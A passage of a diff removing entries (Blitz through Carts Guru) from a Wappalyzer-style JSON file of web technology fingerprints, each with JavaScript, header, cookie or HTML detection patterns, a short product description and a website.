- ], - "implies": [ - "Craft CMS" - ], - "description": "Blitz provides intelligent static page caching for creating lightning-fast sites with Craft CMS.", - "website": "https://putyourlightson.com/plugins/blitz" - }, - "Blocksy": { - "js": [ - "blocksyjsonp", - "blocksyresponsivemenucache" - ], - "description": "Blocksy is a modern and lightweight WordPress theme designed for a variety of websites, including blogs, portfolios, ecommerce stores, and business websites.", - "website": "https://creativethemes.com/blocksy" - }, - "Blocksy Companion": { - "implies": [ - "Blocksy" - ], - "description": "Blocksy Companion is a WordPress plugin that provides additional functionality and features for the Blocksy theme.", - "website": "https://creativethemes.com/blocksy/companion/" - }, - "Blogger": { - "meta": { - "generator": [ - "^blogger$" - ] - }, - "implies": [ - "Python" - ], - "description": "Blogger is a blog-publishing service that allows multi-user blogs with time-stamped entries.", - "website": "http://www.blogger.com" - }, - "Bloomreach": { - "html": [ - "\u003c[^\u003e]+/binaries/(?:[^/]+/)*content/gallery/" - ], - "website": "https://developers.bloomreach.com" - }, - "Bloomreach Discovery": { - "js": [ - "brtrk.scriptversion", - "br_data.acct_id" - ], - "description": "Bloomreach Discovery is a powerful combination of AI-powered site search, SEO, recommendations, and product merchandising.", - "website": "https://www.bloomreach.com/en/products/discovery" - }, - "Blossom Travel": { - "js": [ - "blossom_travel_data", - "blossom_travel_pro_data" - ], - "description": "Blossom Travel is a free WordPress theme which allows you to create various types of feminine blogs such as travel blog, personal blog, fashion blog, beauty blog, and many more.", - "website": "https://blossomthemes.com/wordpress-themes/blossom-travel" - }, - "Blue": { - "js": [ - "blueproductid", - "bluecpy_id" - ], - "description": "Blue is a ecommerce data marketing, lead generation, real time bidding and recommendation solutions.", - "website": "https://web.getblue.io/en/" - }, - "Blue Triangle": { - "js": [ - "_bttutil.version" - ], - "description": "Blue Triangle is a connected view of marketing, web performance, and third-party tag analytics while constantly monitoring website code for security vulnerabilities.", - "website": "https://bluetriangle.com" - }, - "BlueConic": { - "js": [ - "blueconicprelisteners", - "loadvaluesfromblueconic", - "blueconicengagement", - "blueconicclient" - ], - "description": "BlueConic is the advanced customer data platform that liberates companies' first-party data from disparate systems.", - "website": "https://www.blueconic.com" - }, - "Bluecore": { - "js": [ - "_bluecoretrack", - "bluecore_action_trigger", - "triggermail", - "triggermail_email_address" - ], - "description": "Bluecore is a retail marketing technology that uses data gained from direct marketing like email, social media, site activity.", - "website": "https://www.bluecore.com" - }, - "Bluefish": { - "meta": { - "generator": [ - "bluefish(?:\\s([\\d.]+))?\\;version:\\1" - ] - }, - "description": "Bluefish is a free software text editor with a variety of tools for programming in general and the development of websites.", - "website": "http://sourceforge.net/projects/bluefish" - }, - "Bluehost": { - "headers": { - "host-header": "c2hhcmvklmjsdwvob3n0lmnvbq==" - }, - "description": "Bluehost is a large web host known for its WordPress expertise, variety of “one-stop-shop” services, and bargain prices.", - "website": "https://www.bluehost.com" - }, - "Blueknow": { - "js": [ - "blueknow", - "blueknowtracker" - ], - "description": "Blueknow is a ecommerce personalisation software designed to serve enterprises, SMEs.", - "website": "https://www.blueknow.com" - }, - "Blueshift": { - "description": "Blueshift offers the SmartHub CDP, which helps brands deliver relevant and connected experiences across every customer interaction.", - "website": "https://blueshift.com/" - }, - "Bluestone PIM": { - "description": "Bluestone PIM is primarily a product information management (PIM) solution, which is focused on managing and distributing product data across multiple channels. However, it also includes some features that are typically associated with digital asset management (DAM), such as the ability to manage and store product images, videos, and other digital assets.", - "website": "https://www.bluestonepim.com" - }, - "Boats Group": { - "description": "Boats Group is a website platform for boat dealers and brokers.", - "website": "https://www.boatsgroup.com/websites" - }, - "Boba.js": { - "implies": [ - "Google Analytics" - ], - "website": "http://boba.space150.com" - }, - "BoidCMS": { - "headers": { - "x-powered-by": "boidcms" - }, - "implies": [ - "PHP" - ], - "description": "BoidCMS is a free and open-source flat file CMS for building simple websites and blogs in seconds, developed using PHP and uses JSON as a database.", - "website": "https://boidcms.github.io" - }, - "Bokeh": { - "js": [ - "bokeh", - "bokeh.version" - ], - "implies": [ - "Python" - ], - "website": "https://bokeh.org" - }, - "Bokun": { - "js": [ - "bokunbookingchanneluuid", - "bokunsessionid", - "bokunwidgetembedder", - "__bokunwidgets" - ], - "description": "Bokun is a cloud-based booking management solution which enables small to large travel and tourism businesses manage reservations, products content, images, categorisation, pricing, inventory, and payments.", - "website": "https://www.bokun.io" - }, - "Bold Brain": { - "js": [ - "bold.brain" - ], - "implies": [ - "Shopify", - "Bold Commerce" - ], - "description": "Bold Brain help customers discover more products and add more to their cart with dynamic recommendations for Shopify and use advanced analytics.", - "website": "https://boldcommerce.com/bold-brain" - }, - "Bold Bundles": { - "js": [ - "bold.bundles" - ], - "implies": [ - "Shopify", - "Bold Commerce" - ], - "description": "Bold Bundles Shopify app is designed to present recommended product widgets to cross-sell your products.", - "website": "https://boldcommerce.com/bundles" - }, - "Bold Chat": { - "description": "BoldChat is a live chat platform.", - "website": "https://www.boldchat.com/" - }, - "Bold Commerce": { - "description": "Bold Commerce is a software company that specialises in ecommerce websites and app development.", - "website": "https://boldcommerce.com" - }, - "Bold Custom Pricing": { - "js": [ - "bold.csp.version" - ], - "implies": [ - "Shopify", - "Bold Commerce" - ], - "description": "Bold Custom Pricing is an app that makes it easy to create a tiered pricing structure for your customers.", - "website": "https://boldcommerce.com/custom-pricing" - }, - "Bold Motivator": { - "implies": [ - "Shopify", - "Bold Commerce" - ], - "description": "Bold Motivator motivate customers to spend more on your store with free shipping and gifts using a customisable banner that counts down how much more they have to buy.", - "website": "https://boldcommerce.com/motivator" - }, - "Bold Page Builder": { - "description": "Bold Page Builder is a plugin or a theme component that allows users to structure and design responsive pages.", - "website": "https://wordpress.org/plugins/bold-page-builder" - }, - "Bold Product Options": { - "js": [ - "bold.options.version" - ], - "implies": [ - "Shopify", - "Bold Commerce" - ], - "description": "Product Options is a Shopify app which allows customers to customise products with unlimited custom options built by Bold.", - "website": "https://boldcommerce.com/product-options" - }, - "Bold Subscriptions": { - "js": [ - "bold.subscriptions" - ], - "implies": [ - "Shopify", - "Bold Commerce" - ], - "description": "Bold Subscriptions provides powerful, API-driven customisation options to build and scale a subscription service that fits your business.", - "website": "https://boldcommerce.com/shopify-subscription-app" - }, - "Bold Themes": { - "js": [ - "boldthemesuri", - "boldthemes_theme_loaded" - ], - "implies": [ - "WordPress" - ], - "description": "Bold Themes is a powerful and easy to use premium WordPress themes.", - "website": "https://bold-themes.com/wordpress-themes-plugins/" - }, - "Bold Upsell": { - "js": [ - "bold.upsell" - ], - "implies": [ - "Shopify", - "Bold Commerce" - ], - "description": "Bold Upsell allows the substitution or attachment of products to the customers' carts.", - "website": "https://boldcommerce.com/upsell" - }, - "BoldGrid": { - "html": [ - "\u003clink rel=[\"']stylesheet[\"'] [^\u003e]+boldgrid", - "\u003clink rel=[\"']stylesheet[\"'] [^\u003e]+post-and-page-builder", - "\u003clink[^\u003e]+s\\d+\\.boldgrid\\.com" - ], - "description": "BoldGrid is a free website builder for WordPress websites.", - "website": "https://boldgrid.com" - }, - "Bolt CMS": { - "meta": { - "generator": [ - "bolt" - ] - }, - "implies": [ - "PHP" - ], - "website": "http://bolt.cm" - }, - "Bolt Payments": { - "js": [ - "boltpopup", - "bolttrack", - "bolt_callbacks", - "boltcheckout" - ], - "description": "Bolt powers a checkout experience designed to convert shoppers.", - "website": "https://www.bolt.com/" - }, - "Bonfire": { - "cookies": { - "bf_session": "" - }, - "html": [ - "powered by \u003ca[^\u003e]+href=\"https?://(?:www\\.)?cibonfire\\.com[^\u003e]*\u003ebonfire v([^\u003c]+)\\;version:\\1" - ], - "implies": [ - "CodeIgniter" - ], - "website": "http://cibonfire.com" - }, - "BookDinners": { - "description": "BookDinners is a restaurant table booking widget.", - "website": "https://www.bookdinners.nl" - }, - "BookStack": { - "cookies": { - "bookstack_session": "" - }, - "implies": [ - "PHP", - "MySQL", - "Laravel" - ], - "description": "BookStack is a simple, open-source, self-hosted, easy-to-use platform for organising and storing information.", - "website": "https://www.bookstackapp.com" - }, - "BookThatApp": { - "js": [ - "bookthatapp" - ], - "implies": [ - "Shopify" - ], - "description": "BookThatApp is a Shopify appointment booking, product rental and class booking app.", - "website": "https://www.bookthatapp.com" - }, - "Bookatable": { - "description": "Bookatable is a restaurant table booking widget.", - "website": "https://www.bookatable.co.uk" - }, - "Bookeo": { - "js": [ - "bookeo_start", - "bookeo_startmobilelabel" - ], - "description": "Bookeo is a cloud-based booking and reservation solution that caters to tour operators, travel agencies, schools, therapists, photographers and event organizers.", - "website": "https://www.bookeo.com" - }, - "Bookero": { - "js": [ - "bookero_config" - ], - "description": "Bookero is online booking system for you website or Facebook page.", - "website": "https://www.bookero.org" - }, - "Booking.com": { - "description": "Booking.com is one of the largest ecommerce travel companies in the world. As an affiliate member, you can make up to 40% commission.", - "website": "https://www.booking.com/affiliate-program/v2/selfmanaged.html" - }, - "Booking.com widget": { - "implies": [ - "Booking.com" - ], - "description": "Booking.com is one of the largest ecommerce travel companies in the world. As an affiliate member, you can make up to 40% commission.", - "website": "https://www.booking.com/affiliate-program/v2/selfmanaged.html" - }, - "Bookingkit": { - "js": [ - "bookingkitapp" - ], - "description": "Bookingkit is an online booking management solution. Bookingkit helps its users generate PDF invoices, manage day-to-day scheduling operations, and automatically sync availabilities in real time.", - "website": "https://bookingkit.net/" - }, - "Bookly": { - "js": [ - "booklyl10n.daysshort", - "bookly", - "booklycustomerprofile" - ], - "description": "Bookly is a WordPress scheduling plugin that allows you to accept online reservations on your website and automate your booking system.", - "website": "https://www.booking-wp-plugin.com" - }, - "Booksy": { - "js": [ - "booksy" - ], - "description": "Booksy is a booking system for people looking to schedule appointments for health and beauty services.", - "website": "https://booksy.com/" - }, - "Boomerang": { - "js": [ - "boomr", - "boomr_lstart", - "boomr_mq" - ], - "description": "boomerang is a JavaScript library that measures the page load time experienced by real users, commonly called RUM (Real User Measurement).", - "website": "https://akamai.github.io/boomerang" - }, - "Boost Commerce": { - "js": [ - "bcsffilterconfig.api.filterurl", - "boostpfsappconfig.api.filterurl" - ], - "description": "Boost Commerce provides beautiful and advanced product filter and smart site search for Shopify stores to boost sales.", - "website": "https://boostcommerce.net" - }, - "Booster Page Speed Optimizer": { - "description": "The Page Speed Optimizer is a Shopify app built by BoosterApps.", - "website": "https://apps.shopify.com/page-speed-optimizer" - }, - "Bootstrap": { - "js": [ - "bootstrap.alert.version", - "jquery.fn.tooltip.constructor.version" - ], - "html": [ - "\u003cstyle\u003e\\s+/\\*!\\s+\\* bootstrap v(\\d\\.\\d\\.\\d)\\;version:\\1", - "\u003clink[^\u003e]* href=[^\u003e]*?bootstrap(?:[^\u003e]*?([0-9a-fa-f]{7,40}|[\\d]+(?:.[\\d]+(?:.[\\d]+)?)?)|)[^\u003e-]*?(?:\\.min)?\\.css\\;version:\\1" - ], - "description": "Bootstrap is a free and open-source CSS framework directed at responsive, mobile-first front-end web development. It contains CSS and JavaScript-based design templates for typography, forms, buttons, navigation, and other interface components.", - "website": "https://getbootstrap.com" - }, - "Bootstrap Icons": { - "description": "Bootstrap Icons is a growing library of SVG icons that are designed by @mdo and maintained by the Bootstrap Team.", - "website": "https://icons.getbootstrap.com" - }, - "Bootstrap Table": { - "html": [ - "\u003clink[^\u003e]+href=\"[^\u003e]*bootstrap-table(?:\\.min)?\\.css" - ], - "implies": [ - "Bootstrap", - "jQuery" - ], - "website": "http://bootstrap-table.wenzhixin.net.cn/" - }, - "Booxi": { - "js": [ - "booxi", - "booxicontroller", - "bxe_core" - ], - "description": "Booxi is a cloud-based appointment management platform for small to midsize businesses.", - "website": "https://www.booxi.com" - }, - "Borderfree": { - "cookies": { - "bfx.apikey:": "^[\\w\\d-]+$", - "bfx.country:": "^\\w+$", - "bfx.language": "^\\w+$", - "bfx.loglevel": "^\\w+$" - }, - "js": [ - "bfx._apikey", - "bfx._brand" - ], - "description": "Borderfree is an cross-border ecommerce solutions provider.", - "website": "https://www.borderfree.com" - }, - "Borlabs Cookie": { - "js": [ - "borlabscookieconfig" - ], - "description": "Borlabs Cookie is a GDPR cookie consent plugin for WordPress.", - "website": "https://borlabs.io/borlabs-cookie/" - }, - "Botble CMS": { - "cookies": { - "botble_session": "" - }, - "headers": { - "cms-version": "^(.+)$\\;version:\\1\\;confidence:0" - }, - "implies": [ - "Laravel" - ], - "website": "https://botble.com" - }, - "Boutiq": { - "js": [ - "caazamapp" - ], - "description": "Boutiq is a personal video shopping solution.", - "website": "https://www.getboutiq.com" - }, - "BowNow": { - "cookies": { - "bownow_act": "", - "bownow_aid": "", - "bownow_cid": "", - "bownow_mbid": "" - }, - "js": [ - "_bownow_ts" - ], - "description": "BowNow is a marketing automation tool with business card management, sales support, analysis, and email magazine functions.", - "website": "https://bow-now.jp" - }, - "Boxtal": { - "description": "Boxtal is a cloud-based multi-carrier shipping solution.", - "website": "https://www.boxtal.com" - }, - "Bpost": { - "description": "Bpost, also known as the Belgian Post Group, is the Belgian company responsible for the delivery of national and international mail.", - "website": "https://www.bpost.be" - }, - "BrainSINS": { - "js": [ - "brainsins", - "brainsinsrecommender", - "brainsins_token", - "launchbrainsins" - ], - "description": "BrainSINS is a personalisation technology and ecommerce analytics services to online retailers.", - "website": "http://brainsins.com" - }, - "Braintree": { - "js": [ - "braintree", - "braintree.version" - ], - "description": "Braintree, a division of PayPal, specializes in mobile and web payment systems for ecommerce companies. Braintree provides clients with a merchant account and a payment gateway.", - "website": "https://www.braintreepayments.com" - }, - "Branch": { - "js": [ - "branch.setbranchviewdata", - "branch_callback__0" - ], - "description": "Branch is a mobile deep linking system to increase engagement and retention.", - "website": "https://branch.io" - }, - "Brandfolder": { - "js": [ - "brandfolder.account" - ], - "description": "Brandfolder is a cloud-based digital asset management platform.", - "website": "https://brandfolder.com" - }, - "Braze": { - "js": [ - "appboy", - "appboyqueue" - ], - "description": "Braze is a customer engagement platform that delivers messaging experiences across push, email, in-product, and more.", - "website": "https://www.braze.com" - }, - "Bread": { - "js": [ - "breadcalc", - "breaderror", - "breadloaded", - "breadshopify", - "bread.apphost" - ], - "description": "Bread is a buy now, pay later platform for ecommerce websites.", - "website": "https://www.breadpayments.com" - }, - "Breadcrumb NavXT": { - "html": [ - "\u003c!-- breadcrumb navxt ([\\d\\.]+)\\;version:\\1" - ], - "description": "Breadcrumb NavXT is a WordPress plugin compatible with WordPress versions 4.9 and up.", - "website": "https://github.com/mtekk/Breadcrumb-NavXT" - }, - "Breakdance": { - "js": [ - "breakdancefrontend", - "breakdanceheaderbuilder", - "breakdanceswiper" - ], - "description": "Breakdance is a page builder that features a drag-and-drop interface for users to create pages using full site editing functionality.", - "website": "https://breakdance.com" - }, - "Breinify": { - "js": [ - "breinify.version" - ], - "description": "Breinify is a powerful personalisation engine that enables brands to create personalised digital experiences at an individual level across web, e-mail, SMS and app channels.", - "website": "https://home.breinify.ai" - }, - "Bricks": { - "description": "Bricks is a premium WordPress theme that lets you visually build performant WordPress sites.", - "website": "https://bricksbuilder.io" - }, - "Bricksite": { - "js": [ - "bricksite.common.apiurls.base" - ], - "meta": { - "generator": [ - "^bricksite$" - ] - }, - "description": "Bricksite is a free website online tool where clients can create free accounts with various themes and features.", - "website": "https://bricksite.io" - }, - "BrightEdge": { - "js": [ - "bejssdk.client_version", - "_bright3.version", - "be_sdk_options" - ], - "description": "BrightEdge is an SEO solution and content performance marketing platform.", - "website": "https://www.brightedge.com" - }, - "BrightInfo": { - "js": [ - "_bi_", - "_biq", - "bijsurl" - ], - "description": "BrightInfo is an automated content personalisation solution.", - "website": "https://www.brightinfo.com" - }, - "Brightcove": { - "description": "Brightcove is a cloud-based online video platform.", - "website": "https://www.brightcove.com" - }, - "Brightspot": { - "headers": { - "x-powered-by": "^brightspot$" - }, - "implies": [ - "Java" - ], - "website": "https://www.brightspot.com" - }, - "Broadstreet": { - "js": [ - "broadstreet" - ], - "description": "Broadstreet is an ad manager that caters specifically to the needs of direct, digital ad sales.", - "website": "https://broadstreetads.com" - }, - "Bronto": { - "js": [ - "bronto.versions.sca", - "brontocookieconsent", - "brontoshopify" - ], - "description": "Bronto is a cloud-based email marketing automation software.", - "website": "https://bronto.com" - }, - "Brownie": { - "headers": { - "x-powered-by": "brownie" - }, - "implies": [ - "PHP", - "MySQL", - "Amazon Web Services", - "Bootstrap", - "jQuery" - ], - "description": "Brownie is a framework, CMS, ecommerce and ERP omni-channel platform to manage your entire business in one cloud solution.", - "website": "https://www.browniesuite.com" - }, - "Browser-Update.org": { - "js": [ - "$bu_.version", - "$bu_getbrowser" - ], - "description": "Browser-update.org is a tool to unobtrusively notify visitors that they should update their web browser in order to use your website.", - "website": "https://browser-update.org" - }, - "BrowserCMS": { - "meta": { - "generator": [ - "browsercms ([\\d.]+)\\;version:\\1" - ] - }, - "implies": [ - "Ruby" - ], - "website": "http://browsercms.org" - }, - "Bsale": { - "cookies": { - "_bsalemarket_session": "" - }, - "js": [ - "bsale.version" - ], - "meta": { - "autor": [ - "bsale" - ], - "generator": [ - "bsale" - ] - }, - "implies": [ - "Nginx" - ], - "description": "Bsale is an store management solution for retail businesses that sell both in store and online.", - "website": "https://www.bsale.cl" - }, - "Bubble": { - "js": [ - "_bubble_page_load_data", - "bubble_environment", - "bubble_hostname_modifier", - "bubble_version" - ], - "headers": { - "x-bubble-capacity-limit": "", - "x-bubble-capacity-used": "", - "x-bubble-perf": "" - }, - "implies": [ - "Node.js" - ], - "description": "Bubble is a no-code platform that lets anyone build web apps without writing any code.", - "website": "http://bubble.io" - }, - "Budbee": { - "description": "Budbee is a tech company that operates a logistics service for ecommerce.", - "website": "https://app.budbee.com/" - }, - "BuddyPress": { - "description": "BuddyPress is designed to allow schools, companies, sports teams, or any other niche community to start their own social network or communication tool.", - "website": "https://buddypress.org" - }, - "BugHerd": { - "js": [ - "bugherdconfig" - ], - "description": "BugHerd is a cloud-based feedback collection and bug management tool.", - "website": "https://bugherd.com" - }, - "BugSnag": { - "js": [ - "bugsnagclient", - "bugsnag", - "bugsnag" - ], - "description": "Bugsnag is a cross-platform error monitoring, reporting, and resolution software.", - "website": "https://bugsnag.com" - }, - "Bugcrowd": { - "description": "Bugcrowd is a crowdsourced cybersecurity platform.", - "website": "https://www.bugcrowd.com" - }, - "Bugzilla": { - "cookies": { - "bugzilla_login_request_cookie": "" - }, - "js": [ - "bugzilla" - ], - "html": [ - "href=\"enter_bug\\.cgi\"\u003e", - "\u003cmain id=\"bugzilla-body\"", - "\u003ca href=\"https?://www\\.bugzilla\\.org/docs/([0-9.]+)/[^\u003e]+\u003ehelp\u003c\\;version:\\1", - "\u003cspan id=\"information\" class=\"header_addl_info\"\u003eversion ([\\d.]+)\u003c\\;version:\\1" - ], - "meta": { - "generator": [ - "bugzilla ?([\\d.]+)?\\;version:\\1" - ] - }, - "implies": [ - "Perl" - ], - "website": "http://www.bugzilla.org" - }, - "Builder.io": { - "description": "Builder.io is a headless CMS with a powerful drag-and-drop visual editor that lets you build and optimize digital experiences with speed and flexibility. ", - "website": "https://builder.io" - }, - "Buildertrend": { - "website": "https://buildertrend.com" - }, - "Bulma": { - "js": [ - "bulma.version" - ], - "description": "Bulma is a free class-based framework for CSS.", - "website": "http://bulma.io" - }, - "Bump": { - "description": "Bump is an API contract management platform that helps document and track APIs by identifying changes in API structure, and keeping developers informed through an elegant documentation.", - "website": "https://bump.sh" - }, - "Bunny": { - "headers": { - "server": "^bunnycdn" - }, - "website": "https://bunny.net" - }, - "Bunny Fonts": { - "implies": [ - "Bunny" - ], - "description": "Bunny Fonts is an open-source, privacy-first web font platform designed to put privacy back into the internet.", - "website": "https://fonts.bunny.net" - }, - "Business Catalyst": { - "html": [ - "\u003c!-- bc_obnw --\u003e" - ], - "website": "http://businesscatalyst.com" - }, - "Business Website Builder": { - "website": "https://businesswebsites.google.com/welcome" - }, - "ButterCMS": { - "description": "ButterCMS is a cloud-based headless content management system.", - "website": "https://buttercms.com" - }, - "Buy me a coffee": { - "description": "Buy me a coffee is a service for online content creators that they may use to receive tips and donations to support their work.", - "website": "https://www.buymeacoffee.com" - }, - "BuySellAds": { - "js": [ - "_bsap", - "_bsap_serving_callback", - "_bsa", - "_bsapro" - ], - "website": "http://buysellads.com" - }, - "Buyapowa": { - "js": [ - "buyapowa.canarycheck" - ], - "description": "Buyapowa is a scalable referral marketing and advocacy platform designed for all industries.", - "website": "https://www.buyapowa.com" - }, - "BySide": { - "js": [ - "byside", - "bysidewebcare_banner" - ], - "description": "BySide is a personalisation and marketing automation platform.", - "website": "https://byside.com" - }, - "Bynder": { - "cookies": { - "bynder": "^[\\da-z]+-[\\da-z]+-[\\da-z]+-[\\da-z]+$" - }, - "js": [ - "bynder.cloudfront" - ], - "description": "Bynder is a cloud-based marketing platform where brands create, find, and use all their digital content.", - "website": "https://www.bynder.com" - }, - "C": { - "description": "C is a general-purpose, procedural computer programming language supporting structured programming, lexical variable scope, and recursion, with a static type system.", - "website": "http://www.open-std.org/jtc1/sc22/wg14/" - }, - "CCV Shop": { - "website": "https://ccvshop.be" - }, - "CDN77": { - "headers": { - "server": "^cdn77-turbo$" - }, - "description": "CDN77 is a content delivery network (CDN).", - "website": "https://www.cdn77.com" - }, - "CEMax": { - "description": "CEMax is a premium customer engagement platform.", - "website": "https://cemax.ai" - }, - "CFML": { - "description": "ColdFusion Markup Language (CFML), is a scripting language for web development that runs on the JVM, the .NET framework, and Google App Engine.", - "website": "http://adobe.com/products/coldfusion-family.html" - }, - "CIVIC": { - "description": "Civic provides cookie control for user consent and the use of cookies.", - "website": "https://www.civicuk.com/cookie-control" - }, - "CJDropshipping app": { - "description": "CJDropshipping is a dropshipping supplier and fulfillment service from China.", - "website": "https://apps.shopify.com/cucheng" - }, - "CKEditor": { - "js": [ - "apex.libversions.ckeditor5", - "ckeditor", - "ckeditor.version", - "ckeditor_basepath" - ], - "description": "CKEditor is a WYSIWYG rich text editor which enables writing content directly inside of web pages or online applications. Its core code is written in JavaScript and it is developed by CKSource. CKEditor is available under open-source and commercial licenses.", - "website": "http://ckeditor.com" - }, - "CMS Made Simple": { - "cookies": { - "cmssessid": "" - }, - "meta": { - "generator": [ - "cms made simple" - ] - }, - "implies": [ - "PHP" - ], - "website": "http://cmsmadesimple.org" - }, - "CMSimple": { - "meta": { - "generator": [ - "cmsimple( [\\d.]+)?\\;version:\\1" - ] - }, - "implies": [ - "PHP" - ], - "website": "http://www.cmsimple.org/en" - }, - "CNZZ": { - "js": [ - "cnzz_protocol" - ], - "website": "https://web.umeng.com/" - }, - "CPABuild": { - "js": [ - "cpabuildlock" - ], - "description": "CPABuild is a next generation CPA network with integrated template building and sharing functionality.", - "website": "https://cpabuild.com" - }, - "CPG Dragonfly": { - "headers": { - "x-powered-by": "^dragonfly cms" - }, - "meta": { - "generator": [ - "cpg dragonfly" - ] - }, - "implies": [ - "PHP" - ], - "website": "http://dragonflycms.org" - }, - "CRM+": { - "implies": [ - "MariaDB", - "amCharts", - "Sentry", - "Vtiger" - ], - "description": "CRM+ is a German CRM software product building on Vtiger with GDPR-compliant extensions and improvements.", - "website": "https://www.brainformatik.com" - }, - "CS Cart": { - "js": [ - "fn_buy_together_apply_discount", - "fn_calculate_total_shipping", - "fn_compare_strings" - ], - "implies": [ - "PHP" - ], - "description": "CS Cart is a turnkey ecommerce shopping cart software solution.", - "website": "http://www.cs-cart.com" - }, - "CSSIgniter Olsen Light": { - "description": "CSSIgniter Olsen Light is a clean, minimal, stylish and elegant WordPress blog theme, perfect for lifestyle, food, cooking, fashion, travel, wedding, health \u0026 fitness, photography and beauty blogging.", - "website": "https://www.cssigniter.com/themes/olsen-light" - }, - "CTT": { - "description": "CTT operates as the national postal service of Portugal.", - "website": "https://www.ctt.pt" - }, - "Caast.tv": { - "js": [ - "caast.open", - "caastinstance" - ], - "description": "Caast.tv is a digital commercial animation solution integrated into the ecommerce customer journey.", - "website": "https://en.caast.tv" - }, - "CacheFly": { - "headers": { - "server": "^cfs ", - "x-cf1": "", - "x-cf2": "" - }, - "description": "CacheFly is a content delivery network (CDN) which offers CDN service that relies solely on IP anycast for routing, rather than DNS based global load balancing.", - "website": "http://www.cachefly.com" - }, - "Cachet": { - "js": [ - "cachet.notifier" - ], - "implies": [ - "PHP" - ], - "description": "Cachet is the free and open-source status page for your API, service or company.", - "website": "https://cachethq.io" - }, - "CactiveCloud": { - "headers": { - "server": "^cactive$" - }, - "description": "CactiveCloud is a freemium based cloud provider and web server for static deployments of websites with HTML builds and serverless functions.", - "website": "https://cactivecloud.com" - }, - "Caddy": { - "headers": { - "server": "^caddy$" - }, - "website": "http://caddyserver.com" - }, - "Cafe24": { - "js": [ - "ec_global_datetime", - "ec_global_info", - "ec_root_domain" - ], - "description": "Cafe24 is a global ecommerce platform that provides everything people need to build an online DTC store in one stop.", - "website": "https://www.cafe24.com/en/" - }, - "CakePHP": { - "cookies": { - "cakephp": "" - }, - "meta": { - "application-name": [ - "cakephp" - ] - }, - "implies": [ - "PHP" - ], - "description": "CakePHP is an open-source web framework. It follows the model–view–controller (MVC) approach and is written in PHP.", - "website": "http://cakephp.org" - }, - "Caldera Forms": { - "js": [ - "calderaforms" - ], - "description": "Caldera Forms is the free WordPress form builder plugin.", - "website": "https://calderaforms.com" - }, - "CalendarHero": { - "js": [ - "zoomai.vars" - ], - "description": "CalendarHero (formerly Zoom.ai) is meeting scheduling software that helps you book meetings automatically.", - "website": "https://calendarhero.com" - }, - "Calendly": { - "js": [ - "calendly" - ], - "description": "Calendly is an app for scheduling appointments, meetings, and events.", - "website": "https://calendly.com/" - }, - "CallRail": { - "js": [ - "calltrk", - "calltrkswap", - "crwpver" - ], - "description": "CallRail is a service that tracks and manages your phone leads, helping businesses to determine which marketing campaigns are driving quality leads.", - "website": "https://www.callrail.com" - }, - "CallTrackingMetrics": { - "js": [ - "__ctm.numbers", - "__ctm_tracked_numbers" - ], - "description": "CallTrackingMetrics is a call tracking and marketing attribution solution for contact centers and agencies.", - "website": "https://www.calltrackingmetrics.com" - }, - "Callbell": { - "js": [ - "callbell", - "callbellsettings" - ], - "description": "Callbell is a web-based live chat solution designed to help businesses manage team collaboration via multiple communication channels.", - "website": "https://www.callbell.eu" - }, - "Campaign Monitor": { - "description": "Campaign Monitor is a global technology company that provides an email marketing platform.", - "website": "https://www.campaignmonitor.com" - }, - "Candid Themes Fairy": { - "description": "Fairy is a free and minimal WordPress blog theme by Candid Themes.", - "website": "https://www.candidthemes.com/themes/fairy" - }, - "Canny": { - "js": [ - "canny" - ], - "headers": { - "content-security-policy": "//canny\\.io" - }, - "description": "Canny is a cloud-based solution that helps small to large businesses collect, analyse, prioritise and track user feedback to make informed product decisions.", - "website": "https://canny.io" - }, - "Canto": { - "description": "Canto is a digital asset management solution.", - "website": "https://www.canto.com" - }, - "Canvas LMS": { - "js": [ - "webpackchunkcanvas_lms" - ], - "headers": { - "x-canvas-meta": "login/canvas" - }, - "implies": [ - "Ruby on Rails", - "React" - ], - "description": "Canvas LMS is a web-based learning management system, or LMS.", - "website": "https://www.instructure.com/canvas" - }, - "CanvasJS": { - "js": [ - "canvasjs.chart", - "canvasjs.chart.version" - ], - "description": "CanvasJS charts is a data visualisation library that runs across multiple devices and browsers.", - "website": "https://canvasjs.com" - }, - "Captch Me": { - "js": [ - "captchme" - ], - "website": "http://captchme.com" - }, - "Captivate.fm": { - "js": [ - "captivate_player_app_url" - ], - "description": "Captivate.fm is a podcast hosting and analytics platform that provides tools for creating, hosting, and distributing podcasts.", - "website": "https://www.captivate.fm" - }, - "Carbon Ads": { - "js": [ - "_carbonads", - "_carbonads_go" - ], - "description": "Carbon Ads is an ad tech company, that connects advertisers to users through targeted verticals called Circles.", - "website": "http://carbonads.net" - }, - "CareCart": { - "implies": [ - "Shopify" - ], - "description": "CareCart is a smart app to recover big value carts on all sizes of shopify stores.", - "website": "https://carecart.io/abandoned-cart-recovery-app" - }, - "CareCart Sales Pop Up": { - "implies": [ - "Shopify" - ], - "description": "CareCart Sales Pop Up is a stock countdown timer, recent sales notifications, live sales pop up widget.", - "website": "https://carecart.io/sales-pop-up-app" - }, - "Cargo": { - "js": [ - "cargo.config", - "__cargo_js_ver__" - ], - "meta": { - "cargo_title": [] - }, - "implies": [ - "PHP" - ], - "description": "Cargo is a professional site building platform for designers and artists.", - "website": "https://cargo.site" - }, - "Carrd": { - "description": "Carrd is a platform for building simple, responsive, one-page sites.", - "website": "https://carrd.co" - }, - "Carro": { - "implies": [ - "Shopify" - ], - "description": "Carro connects participating Shopify stores together to enable cross-store selling or the ability for like-minded partners to directly sell each other products without the need for inventory, managing returns, or minimum order quantities.", - "website": "https://getcarro.com" - }, - "Cart Functionality": { - "js": [ - "google_tag_params.ecomm_pagetype" - ], - "description": "Websites that have a shopping cart or checkout page, either using a known ecommerce platform or a custom solution.", - "website": "https://www.wappalyzer.com/technologies/ecommerce/cart-functionality" - }, - "Cart.com": { - "js": [ - "ac.storedomain" - ], - "description": "Cart.com is an ecommerce platform built for high volume online stores and complex products with features such as multi-store management.", - "website": "https://www.americommerce.com" - }, - "Cart.js": { - "implies": [ - "Shopify" - ], - "description": "Cart.js is a very small open-source Javascript library that makes the addition of powerful Ajax cart functionality to your Shopify theme a breeze.", - "website": "https://cartjs.org" - }, - "CartKit": { - "description": "CartKit build apps from fuss-free multi-channel marketing automation and campaigns to social proof popups and user session recording.", - "website": "https://www.cartkit.com" - }, - "CartStack": { - "js": [ - "_cartstack" - ], - "description": "CartStack is a SaaS solution that allows any company with an ecommerce site or reservation system to increase revenue through reminding/encouraging consumers to return to their abandoned cart and complete their purchase.", - "website": "https://www.cartstack.com" - }, - "Carts Guru": { - "description": "Carts Guru is the all-in-one marketing automation tool for ecommerce stores.", - "website": "https://www.carts.guru" - 